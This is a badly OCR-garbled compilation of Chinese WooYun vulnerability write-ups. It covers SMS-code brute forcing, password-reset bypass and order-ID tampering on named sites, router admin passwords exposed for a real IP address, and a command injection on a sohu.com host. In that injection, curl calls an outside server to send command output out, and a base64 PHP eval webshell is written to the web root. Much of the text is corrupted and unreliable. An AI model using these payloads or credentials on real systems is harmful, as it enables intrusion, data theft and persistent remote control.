Content-Type: application/x—www—form—urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://passport.mengyouS8. com/register

Content—Length: 47

Cookie: ASP.NET Sessionld=vv2tttgsqimwOdktl150t235;

Bianligou CheckKey=086869CBSAF5FCACA7T666518DCEF50894; Bianligou SCID=0;
Bianligou SCNUM=0; Bianligou SCKEY=51992A6D13D023F91D3167E977D1B6D4
Connection: keep—alive

Pragma: no—cache

Cache—Control: no—cache
mobile=18888888888&passwd=test1234&vcode=111111

AYLA ERSAEL AR T



FSH: QEwrF028

YhEe: Qg5 6l HaER

WIED: FEUE(SRIED

el &R i

{BESBRE R

FEWS . 2RISR

& HTML~ CSs B& DOM [ Cookies Iluminations

short » divkv_item » form > div.reg.clearfix » div.register » div.container » body » html
\div class= kv_item 7 o
{div class="kv_item” style="padding-bottom:10px:">

rong class="kv_label”> 3&iFES: {/strong

{input class="zc_text short” type="text” maxlength="6" name="vcoda™>
{div id="divSms")> MEEFRIER /div>
Jdivd

18899999999 F-HL Mk 5 v+t

| Fitter: Showing all items

Request Payload Status |Errof |Tlneom ijgn ¥ | Comment
HSKPER 191886 291885 200 (|] a 2078
[ 0 200 o a 305 baseline reques
3 100002 200 (@] a 305
= Request
FHESD: 12899999999 Bl
M Headers | Hex
HTTP/1.1 200 OK
B Cache-Control: private
= e0s0000s Content-Type: application/json]; charset=utf-8
I Server: Microsoft-I1I5/8.5

X-AspNetMvc-Version: 3.0

. X-AspNet-Version: 4.0.30319

T

WAED: eooeeeeee Set-Cookie: Bianligou SESS=; domain=mengyouS8.com; expires=Sat, 24-Jan-2
Set-Cookie: Bianligou_OPE] domain=mengyou88.com; expires=Sat, 24-Jan-2
Set-Cookis: Bianligou LAN=; domain=mengyouSg.com; expires=Sat, 24-Jan-20
Set-Cookie: Bianligou T domain=mengyouB88.com; expires=Sat, 24-Jan-201

WIES: 111111 FEMEEIRIER | |Set-Cookie: Bianligou NPI=; domain=mengyouSg.com; expires=Sat, 24-Jan-20
Set-Cookie:
Ve Bianligou SESS=983F795E14180A6B3BEE62AB42454C1B400F3D4A7DIFEE0DES3480327

EE5549B9E4ESDEABIBSES3D3C999AZ784CAZE45FCFO93CS58CCACD4AFFEFBSO7BB0ELLZD3
domain=mengyou88.com; path=/

£ i Set-Cookie:
Bianligou OPEN=882B£D142CD848CCBZ01239D477ACCEBCISZDFICI378EZ99AB5935759
AR At RS 488FBED39B8€EEE0Z 1483E33A4255BDE8EFOE LCOCAAABSEESFBSDAEC19CE47495A927FSDAAD

Tk = 18888888888, 18899999999 & Z LI N test1234
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http://passport. mengyou88. com/getpass



(' 541 Jpassport. mengyou88.com/getpass U 2 C‘"

&Rl sE=m

oA CIAT

© ssnEws O sirat

FNE: 1861‘13‘30’

ISUER: 46170

w Request to hitp://passport. mengyouB8.com:80 [114.112.104.193]
&@g}ﬁg [ Forward J l Drop J I Intercept is on ] [ Action J
Rallr Params | Headers | Hex

33355555555 @ wiFah POST /getpass/steps HTTP/L.L

Host: passport.mengyou88.com

User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:32.0) Gecko/20100101
Firefox/32.0

Accept: */*

HEAFNSBIEEEG: Accept-Language: zh-cn, zh;=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
ERFENSE: 186****7307 X-Recuested-With: XMLHttpRecuest

Referer: http://passport.mengyouss.com/getpass/stepl

Content-Length: 12

BEED: Cookie: Bianligou CityCode=410100; Bianligou SCID=0; Bianligou SCNUM=0;
=lm 2 111111 z t Bianligou SCKEY=51992A€D13D023F91D3 LE7EG77DLBED4;
ASP.NET_SessionId=xufOkbxxZfnleO0rncselwlo;

. Bianligou CheckKey=2€9B49375EDFC23575FED48ADEFO323C

s Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

© sspems

T

vecode=111111

[FIEE,  BRAS N AL AR BIE




B

© msizams >555555555)> @ wiEss

B FINSBIREED
BVFNSE: 1867777307
BRWIES: | 11111 | FEERWER
e
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© ssrEw

BRI, ERRELED:

REED: 900000

WAED: eeeeee
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<input id="username” type="text” name="username” value="telecomaduin’ size="" disabled/> (1-32)f
s
+

<rdrd ey
r s
=

<td width="20%">FF¢/td><td width="80%" colspan="">
ey BAED <input id="userpwd” type="password” name="userpvd” value="telecomadninl3173303" /> (4-32)fu"FfF

rdyd/erd
b EFRaO £ PR 3553
Rl <td width="20%" 1A 2R3/ td><td width="80%" colspan="">
¢input id="pwd_again’ type="password” name="pwd_sgain’ value="tclecomadminl3173303" /> (4-32) {15
WebiAiHRER riF = </td></try
s BA T <er>

w= | Em <td vi:ltln:”Q(]%@ﬂaF'ﬁliﬂf/_t:l)ftd -idth:"B(E%” :o}span:””)
¢select style="width:px" id="level” name="level” >
Camadan B ;-] =Py PN

101. 231. 147. 241 telecomadmin telecomadmin32126325



[es T s — )
€ @ 101,231 147. 241/cgi-bin/webif/Objsetusers. sh?edi tuser=edi tuserkid=4 qugi | . s
) Flititavs. nes. oAl

TEET AR, naz [ 101231, 165 sy [ IS EE

INT ~| = & sal- XSS Emcryptions Encodings Other

@ Losd URL [ http://101.231.147. 241 /cgi-bin, 5 . sh%eds

4 seniemL

V) Ezecute Y http://101.231. 147. 241/ cgi-bin/ucbi £/0bjset-users. sh?edi tuser=edi tuserdid=4 - i

I Ensble Post dsta | Enable Referrer THE WEE FEW WO
<h3><{strong>f FELE</strong>{/h3>
<div class="scttings—content”>

dfed

KREEHBERXAS-B

T e g xR , , ::l;le width="100%" summary="Settings”>
FEARE  LRAOARE iR R <td width="20%">F3 £ </ td><td width="80%" colspan="">
HREE >> HetE > > @ ol <input id="username” type="text” name="username” value="telecomadmin” size="" disabled/> (
5 _—— Srd><s ey
o>
<td width="20%">84</td><td width="80%" colspan="">
ARE elecomadmin <input id="userpwd” type="password” name="userpwd” value="telecomadmin32126325" /> (4-32)4i*
=0 . Srd> e
Wi | an . .
peTm—— e BT <td width="203DREAERIC/td>(td width="80%" colspan=""> ) .
RS [Srirpp— <input id="pwd_again” type="password” name="pwd_again” value="teleconadnind2126325" /> (4-3¢
= von Srd></er>
L - <try
b5 | <td width="20%">f FAUR</td><td width="50%" colspan="">
s BA =~ <select style="width:px” id="level” name="level” >
& | EE <option value="useradmin”>&{EM F</option>
<option value="business >14f </ option>
</rd><erd
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x BB~ Google <Ctrl+K>

R sl TR EE Tanin 0N U G @~ GGl

R o visTR R HMEFW v % WEEFH o OMEHL @ Fieeny  0400-666-6600
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ek > TREE

TR

KPR
RenTe
WARER iTHE: 201504141215124410 2015/4/14 12:15:12
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IBEE

EEFIEF
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BINERES
EH5aTK
AR

E2diNET
Smaifie
BEOE

n & www.mbgo.com/my/orderlist.do _

SO . TEESD B Burp Intruder Repeater Window Help

www.wooyun.org

[Target I Proxy I Spider X Scanner [ Intruder{ Repeater X Sequencer{ Decor

§ﬂ:\m‘€| OB I: Jlntercept ] HTTP history XWebSockets history ]Options }

Mbgo.com SEESIFHI—] e S
w Request to http://www.m6go.com:80 [60.28.220.134]
SV W TREE REeY
e > TEEE { Forward H Drop H Intercept is on H Action J

RETE \- RawlParams[Headers Hex

KPEEE E%3d&FrontUr1=BWFrpl j8PY9La2qeT8DOMbZRB1YtaldyMyBvr721yx7qcP6FKUL

iR nTalk CACHE DATA={uid:kf 9925 ISME9754 764235, tid: 112897882638152

R TS 20150414121512448 pay pyi=9386948608; pgv_si=s1922503680; hideAd=none; ASP.NET Sess

o= mzzzBeloved Batfim_1vt 90497¢53d0dedde6e8352fd4beed7bd1=1428979123, 1128984387; Hm

AR ;2: =z jzgb=1. 46. 10. 1428984023. 1; daigou=Userld=764235&F1ag=Ta93addc6c0

b=zl - . productHrefLink=%7B%22position%22%3A%22%E7%89%B9%E4%BI%B0%ES%IC%B

EEIEE gg:ﬁzﬁ MY OnNO% 22%3A%22:3%22%2C%h22pr oduc t 1 d%22%3A%2211086%22%20%22pr i ce%22%3
WMallVisited=MallRecentlyVisitedGoods=ZcGFOGtMSAA%3d;

AT qzja=1. 1715097672, 1428978825861. 1428978825862, 1428984023371. 1428

HOERTYY qzjb=1. 1428984023371.44.0.0. 0; _qzjc=1; _qzjto=565.2.0; CheckOutG

BHRIETX Connection: keep-alive

TR Pragma: no-cache

S Cache—Control: no—cache iﬁtﬁﬂ%ﬂ?‘ %j—:%gfl\mﬁ_% <] LT$i’ﬁ%

SERTE orderId:20150/11/1121512/1/110|

HARFS www.wooyun.o I’€

« €' [J www.mébgo.com/my/orderlist.do

IEN

- i i
st . TR IEEFM R HEOEF % WEESM  SOOMEUA @ misens  0400-666-6600
q: N | e FUTE, B Zrumsn
§’ ‘ma prosiainia i T - HEA9TTR . G
Mégo.com “EE=EIFH— HLEER: . EE EF BME aicare B ! L]

E=ii g BR EREE BN siEE eREsx mese" nems HOHTR HHEY

Famks > TEER

FEanTe

PEE
HANTR
BRERE
Erve o
AV

IBHER

R [LEN TREH TR B

EEEEF

Eeeiniaray

BEJERES
FHseasx
TR

= Www.wooyun.org
SeRiFe



c. (FRAGHALZIE) URL: http://drops.wooyun.org/tips/727
0x00 BRI

AR A2 Web LIRS Py Ap— T L A 22 i o e 1 OB 7 T — NP BT m) ] st FH
K o HIRIX BB PR T A7 AR T S BE X B (R Al o LI 0 )l I8 32 2R A I RN R
FERPRCHR AT G M 2. BRI e P i SR A Rt el o AR A TR 1 AR AL . BT BL
DA AE I RN A4 IR

0x01 73 vl REAF AL I 7 B

b T R AT W 2 B TE DU T REAEAE AL . FRAT TR — AT
£ web N IF AN 44 Bt e 2 ML — M iE A«

-
insert into tablename values (—Y557E) where userid/username=12345/FH 44

ZH )+
http://www. wooyun. org/bugs/wooyun—2010-033542

b -

delete from tablename where id=123

ZH A
http://www. wooyun. org/bugs/wooyun—2010-039358

L

update —YE7E; tablename set —Y£ B where userid/username=12345/H ' %

ZH A
http://www. wooyun. org/bugs/wooyun—2010-036411

i)

select * from tablename where 1d=12345

SEA|
http://www. wooyun. org/bugs/wooyun—2010-033748

ARNAFF R, sql iERLLEES, KRA7mE, thAb R2 N T m 8, KR LES], Pk
AP ) where, THJSTHIE userid B¢ username B[ BRALP SEM Mo AEHA LR R D) RE
RS E R SHOR T HEME B BIME—{E . X S E0 S BA TR 75 EE =


http://drops.wooyun.org/tips/727

]

£ web JFR H I P S0 I FBAT AR R A SRR P ik i) . PSR RSG5, TFRAR
— B session REAFH P 4. MHFEEE . BN NGEREFEHACHP SH
I, SUEFEM session HIREN, M ASAER ik, Walets /5. (B MM i
FEIE 1S, T2 A — AR ISR R 1 o By DACE MU I 22 F IV, T B AR S
K, YN AT REAEAE G B ME A, RTINS X B, RN SEOEA g
TERSHh, WAV R AR RS E

-

http://www. wooyun. org/bugs/wooyun—2010-031826

A NATBETFIRHAS, iR 4 2 280 M BB v BEAAAE— ME R T E L AP S H T Be,
P EBER A R RE, X AHERR 1o LRGN VE T DU LE AR N TE IR ELA AR A
B XSS BINE VIR K AE o

0x02 Pl ERALE: T3

FRAE A B IAR X #R CL BEAE 1, WL Th 8 AT REAF AERBUR S tho AT I 1o 3R R
MK T o MEIRA R KK RAEEN, £ JE B[R 222 lfa] v e AL i ?

BEEZ, B EMMKT % B BOBARR ZAM PN ™, SR BRI RE 75 5200 20 7
B o JrARTE AT AR A B4, KNS K 2% B 85— A R A%

55%%—:

FIFF fiddler2 #% £11, #WrKS EEFHPGEEE K. (EESHTLLES fiddler F
Inspects R WebFroms B¢ TextView. RATEEMBIIIEN T, A 0] DUESGER.) AW ]
Re I P B ) 24 ulogin.

ARR T NS A R S P S R A R

D= f/hTHd ulogin B EUEEHOVK TN, IRIEMER fiddler Bl (shift+f11) ,
Rigkiod % O, BE T RTHIEE 2T ER.

LB B A IATT 7 KSRT AR BITH RGN 18] B BROUE 50 S 4L X B S AV N 54F
KA MA RN SUUE L DI s BR B 5 . i ALE I M PR ThRe, 6 Z Mm%
OB e . &F id 5%, IO,

N T G DL YRR (8] AR s aT AR fiddler2 EHINS MR 2 H Y cookie fH, FIK
G SR R B AT IS AF AT . BAERE ] fiddler SeBER—AN/ NS 1V i) H bRl S G sk, 7
fiddler2 [¥] head Fr25 ¥4 cookie & il ik

INFHINES AT AHE T, Fiddler2 i K5 FiEK, /N5 1) cookie i K5
cookie, HEATMIG. WIRTAL T K5 BOECHE W Ui AL, SR E BT WA S HGE R .
RARAL, MBEAAAAAEBAL, 2B EEMIE . /NMTH) cookie —ELAEBIMGAR AT, FirLh



FEMIAB DI Re AR T A 7 ZAKHSTE], BRI e B ANl N T BE -
PAIRE A TRV R

1 A EHEIA S HE R 57 15

2 AS AN R 25 B e Hidis »
SAHERENT id;

4 B A B AT I, G 25 U140 B (R A0t o

KRB HITE, MNRRCEIR T, AR XSS BIHL T cookie JEHHFNI
WS AR B —FFE 2 AEZ BE VR FEA R XS BT ok SRR A B R R BV/IN S 20 K5
FHNR S E A e B EPIRESE S, BB Y . B4R RGN, FRIAEEA KTE
. AR AR A X cookie IRIWIE, A KAATRESS A B IIMRE . AT AENEK
TR 43wk N T VRIE R AR ) . E UL — R Fiddler2 & —NMEEWIFHMIME TR, #4
A5 FH XA T A2 PR A B 1 o B R o

ZH: FINHEE S, 2SSl 27 Getshell

FPNFEGE S e a2 getshell, REANAHFIH HTTP request [l &y &M A J7iE

T TEN AL

http://1dd. sohu. com/d/?c=c&r=9$ (curl
http://www. lijiejie. com:52016/?hostname= hostname )

ZHr i PIEAN Linux 4. P8R 23 E hostname @i curl #7[H] web servers

root@.. 77 7 :~# python -m SimpleHTTPServer 52016
Serving HTTP on 0.0.0.0 port 52016
220.181.19.102 - - [01/Apr/2016 19:56:41] "GET /?whoami=apache HTTP/1.1" 301 -

220.181.19.102 -
220.181.19.102
220.181.19.102
220.181.19.102
220.181.19.102

[01/Apr /2016 19:57:20] "GET /?pwd=/var/www/1dd/d HTTP/1.1" 301 -
[01/Apr /2016 19:59:39] "GET /?nc_help= HTTP/1.1" 301 -

[01/Apr /2016 20:03:01] "GET /?nc_path=/usr 0
[01/Apr/2016 20:03:42] "GET /?hostname= 1ddm W_&d}’hﬁ brg
[01/Apr/2016 20:10:03] "GET /?id=uid=48(apache) HTTP/1.1" 301 -

am amm Foas'r. m—ma m mA oan P2k N

ATLLVEE], pwd = /var/www/1dd/d
FERE VPS FEEI— web server:
code [Xi

python —m SimpleHTTPServer 52016

SR IGTE IR I 5 AT



code X

http://1dd. sohu. com/d/?c=c&r=$ (curl
http://www. lijiejie. com:52016/?command= command )

R curl $8AT AT 45 AT Al www. 11 jiejie. com:52016, EPGRHFLHY URL K R |2
4096, ZAZWBRATH T o AL ERERMRE, — SRR T AT A AS 2 J5 4 W] DU IAE S 4
T, HAIHRAT \n, AR FrCLA g RS 5 BN S 2 5h . RATEE base64 K
. A1 base64 b 2 JF 2 A HATHI, BrEl, FATEAIE base64 144t 1 A4S H
f\n B e, BXBEMAEHBECHEMN 77 /9. U7 DR

code [Xi

http://1dd. sohu. com/d/?c=c&r=9$ (curl
http://www. 1ijiejie. com:52016/?1s command= ls /var/www/ldd —1|base64|tr ’\n’
”\")

PLEFRATHAT T 1s /var/www/1dd -1, FFAEHATEE RITIEK, web server Y F:
code [Xi

220.181.19.102 - - [01/Apr/2016 21:29:48] “GET

/?1s command=dG90YWwgNDAOCi 1ydy1yLS1yLS0gMSByb2901GFwYWNoZSAgIDIwMDIgTm92ICALIC
AyMDA5IF9s " ZGRhZG1pbi5waHAKLX J3LXT tLXItLSAxIHJvb3QgYXBhY2h1ICAgIDE3NSBOb3YgIDUg
IDIwMDkg YXVOaGNoZWNrLnBocAotcnetciOteiOtIDEgem9vdCBheGE jaGUg ICAYNDYwIESvdiAgNS
AgMjAw” 0SBhdXRoY29kZS5waHAKLX J3LXT tLXI tLSAxIHJvb3Qgcm9vdCAgICAXNDI4NCBOb3YgMTEg
MTY6 MDAgY29kZS5nYmsucGhwCilydy1yLS1yLS0gMSByb2901HJvb3QgICAgMTASMDIgRmViIDEZIC
Ay "MDEOIGNvZGUuaHRtbAotcnctciOtciOtIDEgem9vdCByb2901CAgIDE1ODky IEZ1YiAyOSAxODoz
"MiBjb2R1LnBocAotencteiOteiOtIDEgem9vdCByb2901CAgIDEIMDQwIEZ1YiAyOSAxMjoONSBj b
2R1X2 Jhay5waHAKLX J3LXTtLXT tLSAxIHJvb3QgcmIvdCAgICAXNTMwNyBGZWIgM jkgMTc6Mzeg ™ Y29
kZV9uZXcucGhwCmRyd3hyLXhyLXgeMyByb2901H]Jvb3QgICAgIDQWOTYgTWFy IDMwIDE10jA2 " IGQKL
XJ3LXTtLXTtLSAxIH]Jvb3QgYXBhY2h1ICAgMTESMyBEZWMgM jMg IDIwMTAgaGVscHNvaHUu ™ YmFOCmR
yd3hyLXhyLXggMiByb290THJvb3QgICAgIDQwOTYgTmI2IDEZ IDEOO jAzIG1tYWdlewps  cnd4cnd4c
nd41DEgcm9vdCByb2901CAgICAgICA41EZ1YiAyNCAgM jAxNCBpbmR1eCowaHAgLT4g Y29k ZS5waHA
KZHJ3eHI teHIteCAyIH]Jvb3Qgcm9vdCAgICAgNDASNiBOb3Y gMTMgMTM6NDcganMK " LXJ3LXTtLXItL
SAxTHJvb3QgYXBhY2h1 ICAXNDQ2NyBOb3YgIDUgIDIwMDkgay5waHAKLX J3LXTt LXItLSAxTHJvb3Q
gYXBhY2h1ICAXxNDkyMiBGZWIgMjEgIDIwMTQgbGRkLnBocAotcneteiOtciOt IDEgem9vdCBheGE ja
GUgMjMBODEOTESvdiAgNSAgM jAwOSBuby5qeGeKLX J3LXT tLXTtLSAxTH]v b3Qgem9vdCAgICAgICA
gMCBOb3YgMTEgMT I6NDEgbnVsbC5qcGeKLX J3LXTtLXTtLSAxIH]vb3Qg YXBhY2h1ICAgICA3MSBOb
3YgIDUgIDIwMDkgc3B1ZWQueGhwCilydy 1yLS1yLS0gMSByb2901GFw YWNoZSAgICAgIDAgTmI21CA
1ICAYMDAS THNwZWVkLnR4dAotcnetciOtei0tIDEgem9vdCByb290 ICAgICAYNDYwIEZ1YiAyNiAgM
JAXNCBzdH1sZS5jc3MKLX J3LXT tLXItLSAxIHJvb3QgYXBhY2h1 ICAgIDIzNCBOb3YgIDUgIDIwMDk



gdXBsbh2FkLnBocAotenctciOtciOtIDEgem9vdCBheGF jaGUg ™ IDEzNjIyIE5vdiAgNSAgM jAwOSB6c

HkucGhwCg=="HTTP/1.1” 301 -

5% 1s command base64decode Z J5, 153I:

code [Xi

total 404

-rw—r—r—— 1 root apache 2002 Nov 5 2009 lddadmin. php

-rw—r——r—— 1 root apache 175 Nov 5 2009 authcheck. php

-rw—r—r—— 1 root apache 2460 Nov 5 2009 authcode. php

-rw—r——r—— 1 root root 14284 Nov 11 16:00 code. gbk. php

-rw—r—r— 1 root root 10702 Feb 13 2014 code. html

-rw—r—r— 1 root root 15892 Feb 29 18:32 code. php

-rw—r——r—— 1 root root 15040 Feb 29 12:45 code bak. php

-rw—r—r— 1 root root 15307 Feb 29 17:37 code new. php

drwxr—-xr-x 3 root root 4096 Mar 30 15:06 d

-rw—r—r—— 1 root apache 1193 Dec 23 2010 helpsohu. bat

drwxr—xr—x 2 root root 4096 Nov 13 14:03 images
lrwxrwxrwx 1 root root 8 Feb 24 2014 index.php —> code. php
drwxr—-xr—x 2 root root 4096 Nov 13 13:47 js

-rw—r—r—— 1 root apache 14467 Nov 5 2009 k. php

-rw—r——r—— 1 root apache 14922 Feb 21 2014 1dd. php

-rw-r——1—— 1 root apache 239814 Nov 5 2009 no. jpg

-rw—r—r— 1 root root 0 Nov 11 12:41 null. jpg



-rw—r——r—— 1 root apache 71 Nov 5 2009 speed. php
-rw—r——r—— 1 root apache 0 Nov 5 2009 speed. txt
-rw—r——r—— 1 root root 2460 Feb 26 2014 style.css
-rw—r——r—— 1 root apache 234 Nov 5 2009 upload. php

-rw—r——r—— 1 root apache 13622 Nov 5 2009 zpy. php

TR T A EHRH R
code [X I,

drwxrwxrwx 2 root root 4096 Nov 13 15:25 log

5 T/ webshell:

code [XIH,

http://1dd. sohu. com/d/?c=c&r=$ (echo
“PD9waHAgQGV2YWwo JFIQT INUWydwYXNz J10p0z8+Cgo=""|base64
—-d >/var/www/1dd/d/log/x. php)

la http://ldd. sohu.com/d/logdx....

‘fl-j fvar fawwf1ddfdfLog/ RESS H EREL
220,161, 19, 102 BF0), T 6 £ER Aitidl b Bt
B/ E3 boidgleg 2015111315:0223 157748 0544
B3 ver B okztat 20151112 141344 77748 0644
B waw ) bonisgtst 2015111315:2553 30961 0544
=01 E getdnstlog 20151113 14:04:51 297716 0544
Ch=§ e - 201511-121411:43 878 0644
o E) getdns.log 2016-04-01 2217:29 645698 0644
[ ok 0151112133625 61138 0544
m %.php 2016-04-01 22.18:18 33 D644

www.wooyun.org

|l LA oa. sohu—inc. com:

code X1

[/var/www/]$ ping —cl 10.2.176.87



PING 10.2.176.87 (10.2.176.87) 56(84) bytes of data.

64 bytes from 10.2.176.87: icmp seq=1 ttl=124 time=1.49 ms

—— 10.2.176. 87 ping statistics ——

1 packets transmitted, 1 received, 0% packet loss, time Oms

rtt min/avg/max/mdev = 1.497/1.497/1.497/0. 000 ms
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response {”status”:1, “msg”:16595}
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X-App—Version: V3.3.2

X-User—Agent: 0

X-User—1Id: 93873

X-DOMAIN: app

Content-Type: application/json

Accept—Encoding: gzip, deflate, sdch

Content—Length: 57

Host: api.ymt360. com
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